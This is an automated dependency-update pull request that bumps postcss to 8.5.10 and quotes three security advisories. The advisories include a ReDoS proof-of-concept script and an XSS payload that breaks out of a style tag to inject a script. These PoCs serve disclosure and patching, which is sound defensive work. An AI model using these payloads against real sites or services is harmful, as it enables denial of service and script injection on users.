Update dependency postcss to v8.5.10 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
postcss (source)	8.5.6 → 8.5.10

---

Regular Expression Denial of Service in postcss

CVE-2021-23382 / GHSA-566m-qj78-rww5

More information

Details

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://nvd.nist.gov/vuln/detail/CVE-2021-23382
• https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
• https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
• https://github.com/postcss/postcss/releases/tag/7.0.36
• https://github.com/advisories/GHSA-566m-qj78-rww5

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

PostCSS line return parsing error

CVE-2023-44270 / GHSA-7fh5-64p2-3v2j

More information

Details

An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.

This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

• https://nvd.nist.gov/vuln/detail/CVE-2023-44270
• https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5
• https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25
• https://github.com/postcss/postcss/releases/tag/8.4.31
• https://github.com/github/advisory-database/issues/2820
• https://lists.debian.org/debian-lts-announce/2024/12/msg00025.html
• https://github.com/advisories/GHSA-7fh5-64p2-3v2j

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

PostCSS has XSS via Unescaped </style> in its CSS Stringify Output

CVE-2026-41305 / GHSA-qx2v-qp2m-jg93

More information

Details

PostCSS: XSS via Unescaped </style> in CSS Stringify Output

Summary

PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.

Proof of Concept

const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes

Tested output (Node.js v22, postcss v8.5.5):

Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: true

Impact

Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.

Suggested Fix

Escape </style in all stringified output values:

output = output.replace(/<\/(style)/gi, '<\\/$1');

Credits

Discovered and reported by Sunil Kumar (@​TharVid)

Severity

• CVSS Score: 6.1 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

• https://github.com/postcss/postcss/security/advisories/GHSA-qx2v-qp2m-jg93
• https://nvd.nist.gov/vuln/detail/CVE-2026-41305
• https://github.com/postcss/postcss/releases/tag/8.5.10
• https://github.com/advisories/GHSA-qx2v-qp2m-jg93

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

postcss/postcss (postcss)

v8.5.10

Compare Source

• Fixed XSS via unescaped </style> in non-bundler cases (by @​TharVid).

v8.5.9

Compare Source

• Speed up source map encoding paring in case of the error.

v8.5.8

Compare Source

• Fixed Processor#version.

v8.5.7

Compare Source

• Improved source map annotation cleaning performance (by CodeAnt AI).

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • ""
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[changeset-bot]

⚠️ No Changeset found

Latest commit: 637bfca

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

[renovate]

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: pnpm-lock.yaml

warn: This version of pnpm requires at least Node.js v22.13
warn: The current version of Node.js is v20.18.3
warn: Visit https://r.pnpm.io/comp to see the list of past pnpm versions with respective Node.js version support.
node:internal/modules/cjs/loader:1044
      throw new ERR_UNKNOWN_BUILTIN_MODULE(request);
            ^

Error [ERR_UNKNOWN_BUILTIN_MODULE]: No such built-in module: node:sqlite
    at Module._load (node:internal/modules/cjs/loader:1044:13)
    at Module.require (node:internal/modules/cjs/loader:1311:19)
    at require (node:internal/modules/helpers:179:18)
    at ../store/index/lib/index.js (file:///opt/containerbase/tools/pnpm/11.1.0/20.18.3/node_modules/pnpm/dist/pnpm.mjs:16044:25)
    at __init (file:///opt/containerbase/tools/pnpm/11.1.0/20.18.3/node_modules/pnpm/dist/pnpm.mjs:15:56)
    at ../resolving/npm-resolver/lib/index.js (file:///opt/containerbase/tools/pnpm/11.1.0/20.18.3/node_modules/pnpm/dist/pnpm.mjs:26854:5)
    at __init (file:///opt/containerbase/tools/pnpm/11.1.0/20.18.3/node_modules/pnpm/dist/pnpm.mjs:15:56)
    at ../workspace/projects-graph/lib/index.js (file:///opt/containerbase/tools/pnpm/11.1.0/20.18.3/node_modules/pnpm/dist/pnpm.mjs:27000:5)
    at __init (file:///opt/containerbase/tools/pnpm/11.1.0/20.18.3/node_modules/pnpm/dist/pnpm.mjs:15:56)
    at ../workspace/projects-filter/lib/index.js (file:///opt/containerbase/tools/pnpm/11.1.0/20.18.3/node_modules/pnpm/dist/pnpm.mjs:42903:5) {
  code: 'ERR_UNKNOWN_BUILTIN_MODULE'
}

Node.js v20.18.3